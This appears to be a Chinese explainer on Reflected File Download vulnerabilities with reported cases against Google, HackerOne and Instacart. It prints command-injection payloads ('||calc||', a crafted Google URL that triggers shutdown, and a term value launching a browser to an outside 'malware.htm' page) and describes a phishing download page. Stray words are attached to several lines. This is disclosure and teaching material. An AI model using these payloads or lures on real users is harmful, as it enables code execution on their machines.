RFD(反射型文件下載)漏洞原理及實戰案例全彙總

一、概念html

RFD,即Reflected File Download反射型文件下載漏洞,是一個2014年來自BlackHat的漏洞。這個漏洞在原理上相似XSS,在危害上相似DDE:攻擊者能夠經過一個URL地址使用戶下載一個惡意文件,從而危害用戶的終端PCchrome

這個漏洞很罕見,大多數公司會認爲它是一個須要結合社工的低危漏洞,但微軟,雅虎,eBayPayPal和其餘許多公司認爲這是一箇中危漏洞。json

 

二、漏洞原理api

先從一個實例理解RFD漏洞,如Google搜索的返回包是json格式:服務器

 可見咱們的輸入在返回包處反射輸出,若是輸入payload」||calc||,返回:微信

到這仍沒什麼問題,但若是咱們嘗試在命令行裏運行這個回顯內容,如xss

{"result":["q","rfd"||calc||","jayway"]}google

  發如今顯示文件名或目錄不存在的同時,會執行咱們的管道符後的命令calc,彈出計算器。解析過程實際爲:spa

 因此和DDE的攻擊方法相似,咱們最終要是讓回顯內容做爲一個bat文件下載,這能夠經過分號;或結合社會工程的方式實現:.net

注:URL中分號;是個保留字符,相似鏈接符,現已廢除。

 

3、漏洞挖掘

根據漏洞觸發的三個條件挖掘漏洞:

1)輸入反射:用戶輸入被「反射」到響應內容。

2)文件名可控: URL容許並接受用戶的其餘輸入,攻擊者將其用於將文件擴展名設置爲可執行擴展名

3)下載:響應被做爲文件裏的內容進行下載,這裏能夠控制Content-Type或者在本身的服務器上建立一個HTML文件,設置download屬性,誘導點擊下載


4、實戰案例:

1)  Google

這是Oren Hafifgoogle利用的例子。在facebook中插入的一個google超連接,以下形式內容:

https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74….點擊後會下載一個bat文件到本地,下載後直接運行效果以下:

 成功執行了一個shutdown命令,先用了一個雙引號閉合掉前面的不可控的雙引號,而後利用||符號(命令行中||表示邏輯「或」)保證命令成功執行。


2)  Hackerone

 在編輯字段中輸入text"|| calc ||

 保存,回到編輯543數據edit頁面:

  保留參數543,刪除/edit,追加點.發現獲得json回顯,這裏加上.bat

  因爲由於這個連接返回json值而不是下載,因此這裏能夠在本身的服務器構造一個釣魚html文件,設置爲download屬性,自動下載bat文件:

  用戶點擊文件,由於連接來自可信地址,因此容易中招:


3)  Instacart

  關注json返回包,請求

https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1

發現term參數回顯:

{"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":"rfd","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":[],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585110},"pagination":{"total":0,"page":1,"per_page":50}}

term參數設爲:

"||start chrome davidsopas.com/poc/malware.htm||

建立html文件誘導下載:

     當前,業界對RFD這個漏洞看法不一,危害上可能接近於self-xss,但結合社工等手段尤爲在社交場合能形成的危害仍是能夠很大的,原PDF可閱讀原文。


本文分享自微信公衆號 - 卓文見識(zhuowenjianshi)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索